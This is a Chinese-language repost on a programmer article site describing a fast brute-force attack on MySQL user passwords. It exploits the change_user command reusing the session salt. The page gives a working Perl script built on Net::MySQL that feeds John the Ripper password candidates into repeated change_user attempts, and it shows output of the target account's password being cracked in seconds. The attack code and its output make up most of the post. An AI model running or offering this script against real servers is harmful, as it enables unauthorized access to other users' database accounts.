欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  数据库

快速的 MySQL 本地和远程密码破解_MySQL

程序员文章站 2022-05-11 23:45:20
...
bitsCN.com

快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。

我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。

方法如下:

攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。

是什么导致非常慢?

因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。

下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:

测试的用户是 crackme 密码为 pass,只需数秒就可破解。

(大约 20 秒钟可测试 10 万密码)

测试脚本如下:

01 use Net::MySQL; 02 03 $|=1; 04 05 my $mysql = Net::MySQL->new( 06 hostname => '192.168.2.3', 07 database => 'test', 08 user => "user", 09 password => "secret", 10 debug => 0, 11 ); 12 13 $crackuser = "crackme"; 14 15 while() { 16 chomp; 17 $currentpass = $_; 18 19 $vv = join "/0", 20 $crackuser, 21 "/x14". 22 Net::MySQL::Password->scramble( 23 $currentpass, $mysql->{salt}, $mysql->{client_capabilities} 24 ) . "/0"; 25 if ($mysql->_execute_command("/x11", $vv) ne undef) { 26 print "[*] Cracked! --> $currentpass/n"; 27 exit; 28 } 29 }

下面是我这台机器上的执行结果:

C:/Users/kingcope/Desktop>C:/Users/kingcope/Desktop/john179/run/jo

hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
[*] Cracked! --> pass
words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs


Session aborted

祝你好运:)

via grok

bitsCN.com